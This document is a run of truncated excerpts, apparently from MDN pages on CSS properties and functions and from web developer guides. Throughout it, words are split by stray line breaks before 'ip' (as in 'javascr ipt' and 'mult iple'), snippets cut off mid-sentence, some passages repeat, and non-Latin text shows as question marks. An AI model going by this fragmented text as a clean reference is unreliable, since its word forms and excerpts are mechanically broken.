...ts on table columns, table column groups, table rows, table row groups, and table cells in both auto and fixed layout tables may be treated as if auto had been specified. it is permitted to nest max() and min() functions as expression values, in which case the inner ones are treated as simple parentheses. the expressions are full math expressions, so you can use direct addition, subtraction, mult
iplication and division without using the calc() function itself. the expression can be values combining the addition ( + ), subtraction ( - ), mult
iplication ( * ) and division ( / ) operators, using standard operator precedence rules. make sure to put a space on each side of the + and - operands. the operands in the expression may be any <length> syntax value. you can use different units for each...
...ted value of 2.5vw becomes greater than that of 1.8rem. at this point, font-size will be set at 2.5vw, until 2.5vw's computed value becomes greater than that of 2.8rem. at this point, the font-size will be set at 2.8rem. clamp() allows you to set a minimum and maximum value. you find this example live on github, if you want to play around with it. html <h1>simple responsive test</h1> <p> lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. in orci orci, eleifend id risus nec, mattis rutrum velit. suspendisse fringilla egestas erat eu convallis. phasellus eu velit ut magna dapibus elementum cursus at ligula. ut tempus varius nibh, nec auctor sapien iaculis sit amet. fusce iaculis, libero quis elementum viverra, nulla ante accumsan lectus, sit amet convallis lacus
ipsum vel est. curabit...
cross-fade() - CSS: Cascading Style Sheets
syntax important: the specification and current implementations have different syntaxes. the specification syntax is explained first. specification syntax the cross-fade() function takes a list of images with a percentage defining how much of each image is retained in terms of opacity when it is blended with the other images. ...
..., each image will be 33.33% opaque. the two following are lines (almost) identical: cross-fade( url(red.png), url(yellow.png), url(blue.png)); /* all three will be 33.3333% opaque */ cross-fade( url(red.png) 33.33%, url(yellow.png) 33.33%, url(blue.png) 33.33%); older, implemented syntax cross-fade( <image, <image>, <percentage> ) the specification for the cross-fade() function allows for mult
iple images and for each image to have transparency values independent of the other values. this was not always the case. the original syntax, which has been implemented in some browsers, only allowed for two images, with the sum of the transparency of those two images being exactly 100%. the original syntax is supported in safari and supported with the -webkit- prefix in chrome, opera, and other bl...
... | <size> ]? [ at <position> ]? , <color-stop-list> )<conic-gradient()> = conic-gradient( [ from <angle> ]? [ at <position> ]?, <angular-color-stop-list> )<alpha-value> = <number> | <percentage><hue> = <number> | <angle>where <side-or-corner> = [ left | right ] | [ top | bottom ]<color-stop-list> = [ <linear-color-stop> [, <linear-color-hint>]? ]# , <linear-color-stop><ending-shape> = circle | ell
ipse<size> = closest-side | farthest-side | closest-corner | farthest-corner | <length> | <length-percentage>{2}<position> = [ [ left | center | right ] | [ top | center | bottom ] | [ left | center | right | <length-percentage> ] [ top | center | bottom | <length-percentage> ]? | [ [ left | right ] <length-percentage> ] && [ [ top | bottom ] <length-percentage> ] ]<angular-color-stop-list> = [ <ang...
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
n. what grid and flexbox demonstrate, however, is that an element has both an outer and an inner display type. the outer display type describes whether the element is block-level or inline-level. the inner display type describes how the children of that box behave. as an example, when we use display: flex we create a block-level container, with flex children. the children are described as partic
ipating in a flex formatting context. you can see this if you take a <span> -- normally an inline-level element -- and apply display: flex to it. the <span> becomes a block-level element. it behaves as block-level things do in relationsh
ip to other boxes in the layout. it's as if you had applied display: block to the span, however we also get the changed behavior of the children. the live example b...
... box, which creates a grid formatting context for the direct children. using display: inline-grid will create an inline-level box, which creates a grid formatting context for the children. the two-value syntax as you can see from the above explanation, the display property has gained considerable new powers. in addition to indicating whether something is block-level or inline-level in relationsh
ip to other boxes on the page, it now also indicates the formatting context inside the box it is applied to. in order to better describe this behavior, the display property has been refactored to allow for two values -- an outer and inner value -- to be set on it, as well as the single values we are used to. this means that instead of setting display: flex to create a block-level box with flex chil...
...margins but continue using block and inline layout, you can create a new flow root, and start over with block and inline layout. from that point downwards everything is contained inside the new flow root. the two-value syntax for display: flow-root being display: block flow-root therefore makes a lot of sense. you are creating a block formatting context, with a block-level box and children partic
ipating in normal flow. what about the matched pair display: inline flow-root? this is the new way of describing display: inline-block. the value display: inline-block has been around since the early days of css. the reason we tend to use it is to allow padding to push inline items away from an element, when creating navigation items for example, or when wanting to add a background with padding to ...
float - CSS: Cascading Style Sheets
e-row block table-row-group block table-column block table-column-group block table-cell block table-caption block table-header-group block table-footer-group block inline-flex flex inline-grid grid other unchanged note: if you're referring to this property from javascr
ipt as a member of the htmlelement.style object, modern browsers support float, but in older browsers you have to spell it as cssfloat, with internet explorer versions 8 and older using stylefloat. this was an exception to the rule, that the name of the dom member is the camel-case name of the dash-separated css name (due to the fact that "float" is a reserved word in javascr
ipt, as seen in the need...
... the float property is specified as a single keyword, chosen from the list of values below. values left the element must float on the left side of its containing block. right the element must float on the right side of its containing block. none the element must not float. inline-start the element must float on the start side of its containing block. that is the left side with ltr scr
ipts, and the right side with rtl scr
ipts. inline-end the element must float on the end side of its containing block. that is the right side with ltr scr
ipts, and the left side with rtl scr
ipts. formal definition initial valuenoneapplies toall elements, but has no effect if the value of display is none.inheritednocomputed valueas specifiedanimation typediscrete formal syntax left | right | no...
...oated element is at least as tall as it's tallest nested floated children. we gave the parent width: 100% and floated it to ensure it is tall enough to encompass it's floated children, and to make sure it takes up the width of the parent so we don't have to clear it's adjacent sibling. html <section> <div class="left">1</div> <div class="left">2</div> <div class="right">3</div> <p>lorem
ipsum dolor sit amet, consectetur ad
ipiscing elit. morbi tristique sapien ac erat tincidunt, sit amet dignissim lectus vulputate. donec id iaculis velit. aliquam vel malesuada erat. praesent non magna ac massa aliquet tincidunt vel in massa. phasellus feugiat est vel leo finibus congue.</p> </section> css section { border: 1px solid blue; width: 100%; float: left; } div...
font-stretch - CSS: Cascading Style Sheets
you can use font-stretch to select a condensed or expanded face from such fonts. if the font you are using does not offer condensed or expanded faces, this property has no effect. font face selection the face selected for a ...
...entage> values. ...
...l <div class="container"> <p class="condensed">an elephantine lizard</p> <p class="normal">an elephantine lizard</p> <p class="expanded">an elephantine lizard</p> </div> css /* this example uses the league mono variable font, developed by tyler finck (https://www.tylerfinck.com/) and used here under the terms of the sil open font license, version 1.1: http://scr
ipts.sil.org/cms/scr
ipts/page.php?item_id=ofl_web */ @font-face { src: url('https://mdn.mozillademos.org/files/16014/leaguemonovariable.ttf'); font-family:'leaguemonovariable'; font-style: normal; font-stretch: 1% 500%; /* required by chrome */ } .container { border: 10px solid #f5f9fa; padding: 0 1rem; font: 1.5rem 'leaguemonovariable', sans-serif; } .condensed { font-stretch: 50%; } .normal { fo...
line-height - CSS: Cascading Style Sheets
line elements, it specifies the height that is used to calculate line box height. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* keyword value */ line-height: normal; /* unitless values: use this number mult
iplied by the element's font size */ line-height: 3.5; /* <length> values */ line-height: 3em; /* <percentage> values */ line-height: 34%; /* global values */ line-height: inherit; line-height: initial; line-height: unset; the line-height property is specified as any one of the following: a <number> a <length> a <percentage> the keyword normal. values normal depends on the user agen...
...ine-height: initial; line-height: unset; the line-height property is specified as any one of the following: a <number> a <length> a <percentage> the keyword normal. values normal depends on the user agent. desktop browsers (including firefox) use a default value of roughly 1.2, depending on the element's font-family. <number> (unitless) the used value is this unitless <number> mult
iplied by the element's own font size. the computed value is the same as the specified <number>. in most cases, this is the preferred way to set line-height and avoid unexpected results due to inheritance. <length> the specified <length> is used in the calculation of the line box height. values given in em units may produce unexpected results (see example below). <percentage> relative to the fon...
... specified <number>. in most cases, this is the preferred way to set line-height and avoid unexpected results due to inheritance. <length> the specified <length> is used in the calculation of the line box height. values given in em units may produce unexpected results (see example below). <percentage> relative to the font size of the element itself. the computed value is this <percentage> mult
iplied by the element's computed font size. percentage values may produce unexpected results (see the second example below). -moz-block-height sets the line height to the content height of the current block. accessibility concerns use a minimum value of 1.5 for line-height for main paragraph content. this will help people experiencing low vision conditions, as well as people with cognitive co...
linear-gradient() - CSS: Cascading Style Sheets
int of the color transition is the midpoint between two color stops. note: rendering of color stops in css gradients follows the same rules as color stops in svg gradients. note also that the first example above does not exactly render as depicted in mozilla firefox (particularly version 80.0b3). you'll have to set the html height property to 100% or 100vh to render as depicted. descr
iption as with any gradient, a linear gradient has no intrinsic dimensions; i.e., it has no natural or preferred size, nor a preferred ratio. its concrete size will match the size of the element it applies to. to create a linear gradient that repeats so as to fill its container, use the repeating-linear-gradient() function instead. because <gradient>s belong to the <image> data type, they can onl...
...the symmetrical point of the starting point. these somewhat complex definitions lead to an interesting effect sometimes called magic corners: the corners nearest to the starting and ending points have the same color as their respective starting or ending points. customizing gradients by adding more color-stop points on the gradient line, you can create a highly customized transition between mult
iple colors. a color-stop's position can be explicitly defined by using a <length> or a <percentage>. if you don't specify the location of a color, it is placed halfway between the one that precedes it and the one that follows it. the following two gradients are equivalent. linear-gradient(red, orange, yellow, green, blue); linear-gradient(red 0%, orange 25%, yellow 50%, green 75%, blue 100%); by ...
... body { width: 100vw; height: 100vh; } body { background: linear-gradient(to right, red 20%, orange 20% 40%, yellow 40% 60%, green 60% 80%, blue 80%); } more linear-gradient examples please see using css gradients for more examples. specifications specification status comment css images module level 4the definition of 'gradient color-stops...
mask-border - CSS: Cascading Style Sheets
0 pixels, with three diamonds going vertically and horizontally: html <div id="bitmap">this element is surrounded by a bitmap-based mask border! pretty neat, isn't it?</div> css to match the size of a single diamond, we will use a value of 90 divided by 3, or 30, for slicing the image into corner and edge regions. ...
...e of 90 divided by 3, or 30, for slicing the image into corner and edge regions. a repeat value of round will make the mask slices fit evenly, i.e., without cl
ipping or gaps. ...
... in chromium -webkit-mask-box-image-source: url(https://udn.realityr
ipple.com/samples/2d/fd08a3134c.png); -webkit-mask-box-image-slice: 30 fill; -webkit-mask-box-image-width: 20px; -webkit-mask-box-image-repeat: round; -webkit-mask-box-image-outset: 1px; */ /* prefixed shorthand property currently supported in chromium */ -webkit-mask-box-image: url("https://udn.realityr
ipple.com/samples/2d/fd08a3134c.png") /* source */ 30 fill / /* slice */ 20px / /* width */ 1px /* outset */ round; /* repeat */ /* updated standard shorthand property, not supported anywhere yet */ mask-border: url("https://udn.realityr
ipple.com/samples/2d/fd08a3134c.png") /* source */ 30 fill / /* slice */ 20px / ...
mask-origin - CSS: Cascading Style Sheets
the mask-origin css property sets the origin of a mask. /* keyword values */ mask-origin: content-box; mask-origin: padding-box; mask-origin: border-box; mask-origin: margin-box; mask-origin: fill-box; mask-origin: stroke-box; mask-origin: view-box; /* mult
iple values */ mask-origin: padding-box, content-box; mask-origin: view-box, fill-box, border-box; /* non-standard keyword values */ -webkit-mask-origin: content; -webkit-mask-origin: padding; -webkit-mask-origin: border; /* global values */ mask-origin: inherit; mask-origin: initial; mask-origin: unset; for elements rendered as a single box, this property specifies the mask positioning area. in other words, this property specifies the origin position of an image specified by the mask-image css property. for elements rendered as mul...
...ask-origin: content; -webkit-mask-origin: padding; -webkit-mask-origin: border; /* global values */ mask-origin: inherit; mask-origin: initial; mask-origin: unset; for elements rendered as a single box, this property specifies the mask positioning area. in other words, this property specifies the origin position of an image specified by the mask-image css property. for elements rendered as mult
iple boxes, such as inline boxes on several lines or boxes on several pages, it specifies which boxes box-decoration-break operates upon to determine the mask positioning area. syntax one or more of the keyword values listed below, separated by commas. values content-box the position is relative to the content box. padding-box the position is relative to the padding box. for single boxes 0 ...
... candidate recommendation initial definition ...
mask-size - CSS: Cascading Style Sheets
its intrinsic ratio. ...
... the container. the image is automatically centered unless over-ridden by another property such as mask-position. cover a keyword that is the inverse of contain. scales the image as large as possible and maintains image aspect ratio (image doesn't get squished). the image "covers" the entire width or height of the container. when the image and container have different dimensions, the image is cl
ipped either on left/right or at top/bottom. the interpretation of possible values depends on the image's intrinsic dimensions (width and height) and intrinsic proportion (ratio of width and height). a bitmap image always has intrinsic dimensions and an intrinsic proportion. a vector image may have both intrinsic dimensions and thus it has an intrinsic proportion too. it also may have one or no in...
... candidate recommendation initial definition ...
offset-path - CSS: Cascading Style Sheets
rting from the position of the box and proceeds in the direction defined by the specified angle similar to the css gradient angle where 0deg is up, with positive angles increasing in the clockwise direction, with the size value being similar to the css radial gradient size values from closest-side to farthest-corner, and the keyterm contain. url() references the id of an svg shape -- circle, ell
ipse, line, path, polygon, polyline, or rect -- using the shape's geometry as the path. <basic-shape> specifies a css shape including circle(), ell
ipse(), inset(), polygon(), or path(). path() a path string defined with svg coordinate syntax. none specifies no motion path at all. descr
iption this property defines a path an animated element can follow. an offset path is either a s...
...the element's exact position on the offset path is determined by the offset-distance property. ...
...mation typeas <angle>, <basic-shape> or <path()>creates stacking contextyes formal syntax none | ray( [ <angle> && <size>? && contain? ] ) | <path()> | <url> | [ <basic-shape> | <geometry-box> ]where <size> = closest-side | farthest-side | closest-corner | farthest-corner | <length> | <length-percentage>{2}<path()> = path( [ <fill-rule>, ]? <string> )<basic-shape> = <inset()> | <circle()> | <ell
ipse()> | <polygon()> | <path()><geometry-box> = <shape-box> | fill-box | stroke-box | view-boxwhere <length-percentage> = <length> | <percentage><fill-rule> = nonzero | evenodd<inset()> = inset( <length-percentage>{1,4} [ round <'border-radius'> ]? )<circle()> = circle( [ <shape-radius> ]? [ at <position> ]? )<ell
ipse()> = ell
ipse( [ <shape-radius>{2} ]? [ at <position> ]? )<polygon()> = polygon( <...
repeating-linear-gradient() - CSS: Cascading Style Sheets
to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. the length of the gradient that repeats is the distance between the first and last color stop. if the first color does not have a color-stop-length, the color-stop-length defaults to 0. with each repetition, the positions of the color stops are shifted by a mult
iple of the length of the basic linear gradient. thus, the position of each ending color stop coincides with a starting color stop; if the color values are different, this will result in a sharp visual transition. this can be altered with repeating the first color again as the last color. as with any gradient, a repeating linear gradient has no intrinsic dimensions; i.e., it has no natural or prefe...
... definition of the gradient line list of color stops where <side-or-corner> = [left | right] || [top | bottom] and <color-stop-list> = [ <linear-color-stop> [, <color-hint>? ]? ]#, <linear-color-stop> and <linear-color-stop> = <color> [ <color-stop-length> ]? ...
...> and <linear-color-stop> = <color> [ <color-stop-length> ]? ...
ruby-position - CSS: Cascading Style Sheets
(over), under it (under), or between the characters, on their right side (inter-character). /* keyword values */ ruby-position: over; ruby-position: under; ruby-position: inter-character; /* global values */ ruby-position: inherit; ruby-position: initial; ruby-position: unset; syntax values over is a keyword indicating that the ruby has to be placed over the main text for horizontal scr
ipts and right to it for vertical scr
ipts. under is a keyword indicating that the ruby has to be placed under the main text for horizontal scr
ipts and left to it for vertical scr
ipts. inter-character is a keyword indicating that the ruby has to be placed between the different characters. formal definition initial valueoverapplies toruby annotations containersinheritedyescomputed valueas speci...
...nym of the modern over).opera no support nosafari no support nonotes no support nonotes notes safari implements a non-standard, prefixed, version of ruby-position, -webkit-ruby-position: it has two properties: before and after (both equivalent, for ltr and rtl scr
ipts to the standard over value used with ruby-align: start).webview android no support nochrome android no support nofirefox android full support 38opera android no support nosafari ios no support ...
... 38opera android no support nosafari ios no support nonotes no support nonotes notes safari implements a non-standard, prefixed, version of ruby-position, -webkit-ruby-position: it has two properties: before and after (both equivalent, for ltr and rtl scr
ipts to the standard over value used with ruby-align: start).samsung internet android no support nointer-character experimentalchrome no support noedge no support nofirefox no support noie no support ...
<shape> - CSS: Cascading Style Sheets
syntax the <shape> data type is specified using the rect() function, which produces a region in the form of a rectangle. rect() rect(top, right, bottom, left) values top is a <length> representing the offset for the top of the rectangle relative to the top border of the element's box. ...
... representing the offset for the left of the rectangle relative to the left border of the element's box. interpolation when animated, values of the <shape> data type are interpolated over their top, right, bottom, and left components, each treated as a real, floating-point number. the speed of the interpolation is determined by the timing function associated with the animation. example img.cl
ip04 { cl
ip: rect(10px, 20px, 20px, 10px); } specifications specification status comment css level 2 (revision 1)the definition of '<shape>' in that specification. recommendation defines with the cl
ip property. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please ch...
... ...
table-layout - CSS: Cascading Style Sheets
first row of cells. cells in subsequent rows do not affect column widths. under the "fixed" layout method, the entire table can be rendered once the first table row has been downloaded and analyzed. this can speed up rendering time over the "automatic" layout method, but subsequent cell content might not fit in the column widths provided. cells use the overflow property to determine whether to cl
ip any overflowing content, but only if the table has a known width; otherwise, they won't overflow the cells. formal definition initial valueautoapplies totable and inline-table elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | fixed examples fixed-width tables with text-overflow this example uses a fixed table layout, combined with the width property,...
... won't overflow the cells. formal definition initial valueautoapplies totable and inline-table elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | fixed examples fixed-width tables with text-overflow this example uses a fixed table layout, combined with the width property, to restrict the table's width. the text-overflow property is used to apply an ell
ipsis to words that are too long to fit. if the table layout were auto, the table would grow to accomodate its contents, despite the specified width. html <table> <tr><td>ed</td><td>wood</td></tr> <tr><td>albert</td><td>schweitzer</td></tr> <tr><td>jane</td><td>fonda</td></tr> <tr><td>william</td><td>shakespeare</td></tr> </table> css table { table-layout: fixed; width: 120px; bord...
...s, despite the specified width. html <table> <tr><td>ed</td><td>wood</td></tr> <tr><td>albert</td><td>schweitzer</td></tr> <tr><td>jane</td><td>fonda</td></tr> <tr><td>william</td><td>shakespeare</td></tr> </table> css table { table-layout: fixed; width: 120px; border: 1px solid red; } td { border: 1px solid blue; overflow: hidden; white-space: nowrap; text-overflow: ell
ipsis; } result specifications specification status comment css level 2 (revision 1)the definition of 'table-layout' in that specification. recommendation initial definition. ...
text-orientation - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
... text-orientation: mixed; text-orientation: upright; text-orientation: sideways-right; text-orientation: sideways; text-orientation: use-glyph-orientation; /* global values */ text-orientation: inherit; text-orientation: initial; text-orientation: unset; the text-orientation property is specified as a single keyword from the list below. values mixed rotates the characters of horizontal scr
ipts 90? clockwise. lays out the characters of vertical scr
ipts naturally. default value. upright lays out the characters of horizontal scr
ipts naturally (upright), as well as the glyphs for vertical scr
ipts. note that this keyword causes all characters to be considered as left-to-right: the used value of direction is forced to be ltr. sideways causes characters to be laid out as they would be h...
...n on svg elements, this keyword leads to use the value of the deprecated svg properties glyph-orientation-vertical and glyph-orientation-horizontal. formal definition initial valuemixedapplies toall elements, except table row groups, rows, column groups, and columnsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax mixed | upright | sideways examples html <p>lorem
ipsum dolet semper quisquam.</p> css p { writing-mode: vertical-rl; text-orientation: upright; } result specifications specification status comment css writing modes module level 3the definition of 'text-orientation' in that specification. proposed recommendation initial definition. ...
text-shadow - CSS: Cascading Style Sheets
percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? ...
...( <hue>, <percentage>, <percentage>, <alpha-value>? ...
... candidate recommendation the css property text-shadow was improperly defined in css2 and dropped in css2 (level 1). the css text module level 3 spec refined the syntax. ...
<transform-function> - CSS: Cascading Style Sheets
skewx() skews an element in the horizontal direction. skewy() skews an element in the vertical direction. translation (moving) translate() translates an element on the 2d plane. translate3d() translates an element in 3d space. translatex() translates an element horizontally. translatey() translates an element vertically. translatez() translates an element along the z-axis. descr
iption various coordinate models can be used to describe an html element's size and shape, as well as any transformations applied to it. the most common is the cartesian coordinate system, although homogeneous coordinates are also sometimes used. cartesian coordinates in the cartesian coordinate system, a two-dimensional point is described using two values: an x coordinate (abscissa) and a y co...
... (0, 0) represents the top-left corner of any element. positive coordinates are down and to the right of the origin, while negative ones are up and to the left. thus, a point that's 2 units to the right and 5 units down would be (2, 5), while a point 3 units to the left and 12 units up would be (-3, -12). transformation functions transformation functions alter the appearance of an element by man
ipulating the values of its coordinates. a linear transformation function is described using a 2x2 matrix, like this: ac bd the function is applied to an element by using matrix mult
iplication. thus, each coordinate changes based on the values in the matrix: ac bd xy = ax+cy bx+dy it is even possible to apply several transformations in a row: a1 c1 b1 d1 a2 c...
... background: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .left { background: rgba(0,0,210,.7); transform: rotatey(-90deg) translatez(50px); } .top { background: rgba(210,210,0,.7); transform: rotatex(90deg) translatez(50px); } .bottom { background: rgba(210,0,210,.7); transform: rotatex(-90deg) translatez(50px); } .select-form { margin-top: 50px; } javascr
ipt const selectelem = document.queryselector('select'); const example = document.queryselector('#example-element'); selectelem.addeventlistener('change', () => { if(selectelem.value === 'choose a function') { return; } else { example.style.transform = `rotate3d(1, 1, 1, 30deg) ${selectelem.value}`; settimeout(function() { example.style.transform = 'rotate3d(1, 1, 1, 30deg)';...
transition - CSS: Cascading Style Sheets
this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. transitions enable you to define the transition between two states of an element. different states may be defined using pseudo-classes like :hover or :active or dynamically set using javascr
ipt. constituent properties this property is a shorthand for the following css properties: transition-delay transition-duration transition-property transition-timing-function syntax /* apply to 1 property */ /* property name | duration */ transition: margin-right 4s; /* property name | duration | delay */ transition: margin-right 4s 1s; /* property name | duration | timing function */ t...
... <single-transition-timing-function> value representing the timing function to use zero, one, or two <time> values. the first value that can be parsed as a time is assigned to the transition-duration, and the second value that can be parsed as a time is assigned to transition-delay. see how things are handled when lists of property values aren't the same length. in short, extra transition descr
iptions beyond the number of properties actually being animated are ignored. formal definition initial valueas each of the properties of the shorthand:transition-delay: 0stransition-duration: 0stransition-property: alltransition-timing-function: easeapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas each of the properties of the shorthand:transition-delay: as s...
... ] | <time> | <timing-function> | <time>where <single-transition-property> = all | <custom-ident><timing-function> = linear | <cubic-bezier-timing-function> | <step-timing-function>where <cubic-bezier-timing-function> = ease | ease-in | ease-out | ease-in-out | cubic-bezier(<number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and mult
ipliers to transform them as a single component">[0,1]>, <number>, <number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinators, and mult
ipliers to transform them as a single component">[0,1]>, <number>)<step-timing-function> = step-start | step-end | steps(<integer>[, <step-position>]?)where <step-position> = jump-start | jump-end | jump-none |...
word-break - CSS: Cascading Style Sheets
ed for a break). formal definition initial valuenormalapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax normal | break-all | keep-all | break-word examples html <p>1. <code>word-break: normal</code></p> <p class="normal narrow">this is a long and honorificabilitudinitatibus califragilisticexpialidocious taumatawhakatangihangakoauauotamateatur
ipukakapikimaungahoronukupokaiwhenuakitanatahu ???????????????????????????????????</p> <p>2. <code>word-break: break-all</code></p> <p class="breakall narrow">this is a long and honorificabilitudinitatibus califragilisticexpialidocious taumatawhakatangihangakoauauotamateatur
ipukakapikimaungahoronukupokaiwhenuakitanatahu ???????????????????????????????????</p> <p>3. <code>word-break: keep-all</c...
...arrow">this is a long and honorificabilitudinitatibus califragilisticexpialidocious taumatawhakatangihangakoauauotamateatur
ipukakapikimaungahoronukupokaiwhenuakitanatahu ???????????????????????????????????</p> <p>3. <code>word-break: keep-all</code></p> <p class="keepall narrow">this is a long and honorificabilitudinitatibus califragilisticexpialidocious taumatawhakatangihangakoauauotamateatur
ipukakapikimaungahoronukupokaiwhenuakitanatahu ???????????????????????????????????</p> <p>4. ...
...">this is a long and honorificabilitudinitatibus califragilisticexpialidocious taumatawhakatangihangakoauauotamateatur
ipukakapikimaungahoronukupokaiwhenuakitanatahu ???????????????????????????????????</p> <p>4. ...
Demos of open web technologies
mozilla supports a wide variety of exciting open web technologies, and we encourage their use. this page offers links to interesting demonstrations of these technologies. if you know of a good demonstration or application of open web technology, please add a link to the appropriate section here. ...
... technologies, and we encourage their use. this page offers links to interesting demonstrations of these technologies. if you know of a good demonstration or application of open web technology, please add a link to the appropriate section here. ...
...zable videos 3d graphics webgl web audio fireworks ioquake3 (source code) escher puzzle (source code) kai 'opua (source code) virtual reality the polar sea (source code) sechelt fly-through (source code) css css zen garden css floating logo "mozilla" paperfold css blockout rubik's cube pure css slides planetarium (source code) loader with blend modes text reveal with cl
ip-path ambient shadow with custom properties luminiscent vial css-based single page application (source code) transformations impress.js (source code) games ioquake3 (source code) kai 'opua (source code) web apis notifications api html5 notifications (source code) web audio api web audio fireworks oscope.js - javascr
ipt oscilloscope html5 web audio showcase (source ...
Ajax - Developer guides
getting started an introduction to ajax. asynchronous javascr
ipt and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together, including html or xhtml, css, javascr
ipt, dom, xml, xslt, and most importantly the xmlhttprequest object. when these technologies are combined in the ajax model, web applications are able to make quick, incremental updates to the user interface without reloading the entire browser page. this makes the application faster and more responsive to user actions. although x in ajax stands for xml, json is used more than xml nowadays because of its many advantages such as being lighter and a part of javascr
ipt. both json and xml are used for packagin...
...rt of javascr
ipt. both json and xml are used for packaging information in the ajax model. documentation getting started this article guides you through the ajax basics and gives you two simple hands-on examples to get you started. using the xmlhttprequest api the xmlhttprequest api is the core of ajax. this article will explain how to use some ajax techniques, like: analyzing and man
ipulating the response of the server monitoring the progress of a request submitting forms and upload binary files - in pure ajax, or using formdata objects using ajax within web workers fetch api the fetch api provides an interface for fetching resources. it will seem familiar to anyone who has used xmlhttprequest, but this api provides a more powerful and flexible feature set. server-...
...mended general-purpose markup language for creating special-purpose markup languages. it is a simplified subset of sgml, capable of describing many different kinds of data. its primary purpose is to facilitate the sharing of data across different systems, particularly systems connected via the internet. parsing and serializing xml how to parse an xml document from a string, a file or via javascr
ipt and how to serialize xml documents to strings, javascr
ipt object trees (jxon) or files. xpath xpath stands for xml path language, it uses a non-xml syntax that provides a flexible way of addressing (pointing to) different parts of an xml document. as well as this, it can also be used to test addressed nodes within a document to determine whether they match a pattern or not. filereader api th...
Web Audio playbackRate explained - Developer guides
rate in detail. playbackrate basics let's starting by looking at a brief example of playbackrate usage: var myaudio = document.createelement('audio'); myaudio.setattribute('src','audiofile.mp3'); myaudio.playbackrate = 0.5; here we create an <audio> element, and set its src to a file of our choice. ...
...rate = 0.5; here we create an <audio> element, and set its src to a file of our choice. ...
...t we set playbackrate to 0.5, which represents half normal speed (the playbackrate is a mult
iplier applied to the original rate.) a complete example let's create a <video> element first, and set up video and playback rate controls in html: <video id="myvideo" controls> <source src="https://udn.realityr
ipple.com/samples/6f/08625b424a.m4v" type='video/mp4' /> <source src="https://udn.realityr
ipple.com/samples/5b/8cd6da9c65.webm" type='video/webm' /> </video> <form> <input id="pbr" type="range" value="1" min="0.5" max="4" step="0.1" > <p>playback rate <span id="currentpbr">1</span></p> </form> and apply some javascr
ipt to it: window.onload = function () { var v = document.getelementbyid("myvideo"); var p = document.getelementbyid("pbr"); var c = document.getelementbyid("cur...
Mouse gesture events - Developer guides
are available to add-ons and other browser chrome code, but are never sent to regular web page content. note: some operating systems, including mac os x and windows 7, provide default actions when gesture events occur. if you handle a gesture event and wish to prevent the default action from taking place as well, be sure to call the event's preventdefault() method. types of gesture events mozsw
ipegesture the mozsw
ipegesture event is sent when the user uses three fingers to "sw
ipe" the trackpad. mozmagnifygesturestart the mozmagnifygesturestart event is sent when the user begins performing a "pinch" gesture, by using two fingers as the corners of a rectangle and moving them either closer together or farther apart. this is typically used to zoom in and out on content (this is the default be...
...feedback during the handling of the gesture, you should also watch the mozrotategesturestart and mozrotategestureupdate events. the delta value is the cumulative change over the course of handling the entire sequence of rotate gesture events. event fields mouse gesture events have additional fields providing information about the gesture. these are: direction the direction in which the sw
ipe moved. delta the amount by which the gesture moved; for rotation, this value is in degrees. positive values are clockwise and negative values are counterclockwise. for magnification, this value is implementation-specific, but the value is positive for zooming in and negative for zooming out. direction constants the direction field in the gesture events can take one of the following valu...
...ed; for rotation, this value is in degrees. positive values are clockwise and negative values are counterclockwise. for magnification, this value is implementation-specific, but the value is positive for zooming in and negative for zooming out. direction constants the direction field in the gesture events can take one of the following values: simplegestureevent.direction_left leftward sw
ipe. simplegestureevent.direction_right rightward sw
ipe. simplegestureevent.direction_up upward sw
ipe. simplegestureevent.direction_down downward sw
ipe. simplegestureevent.rotation_counterclockwise counter-clockwise rotation. simplegestureevent.rotation_clockwise clockwise rotation. ...
Developer guides
stylesheet language used to define the presentation of a document written in html. audio and video delivery we can deliver audio and video on the web in several ways, ranging from 'static' media files to adaptive live streams. this article is intended as a starting point for exploring the various delivery mechanisms of web-based media and compatibility with popular browsers. audio and video man
ipulation the beauty of the web is that you can combine technologies to create new forms. having native audio and video in the browser means we can use these data streams with technologies such as <canvas>, webgl or web audio api to modify audio and video directly, for example adding reverb/compression effects to audio, or grayscale/sepia filters to video. this article provides a reference to expla...
...oup of technologies allowing web applications to make quick, incremental updates to the user interface without reloading the entire browser page. this makes the application faster and more responsive to user actions. graphics on the web modern web sites and applications often need to present graphics of varying sophistication. guide to web apis a list of all web apis and what they do. javascr
ipt javascr
ipt is the powerful scr
ipting language used to create applications for the web. localizations and character encodings browsers process text as unicode internally. however, a way of representing characters in terms of bytes (character encoding) is used for transferring text over the network to the browser. the html specification recommends the use of the utf-8 encoding (which can repres...
... internationalized content. using formdata objects the formdata object lets you compile a set of key/value pairs to send using xmlhttprequest. it's primarily intended for sending form data, but can be used independently from forms to transmit keyed data. the transmission is in the same format that the form's submit() method would use to send the data if the form's encoding type were set to "mult
ipart/form-data". user input and controls modern web user input goes beyond simple mouse and keyboard: think of touchscreens for example. this article provides recommendations for managing user input and implementing controls in open web apps, along with faqs, real-world examples, and links to further information for anyone needing more detailed information on the underlying technologies. glossar...
HTML attribute: crossorigin - HTML: Hypertext Markup Language
the crossorigin attribute, valid on the <audio>, <img>, <link>, <scr
ipt>, and <video> elements, provides support for cors, defining how the element handles crossorigin requests, thereby enabling the configuration of the cors requests for the element's fetched data. depending on the element, the attribute can be a cors settings attribute. the crossorigin content attribute on media elements is a cors settings attribute. these attributes are enumerated, and have the following possible values: keyword descr
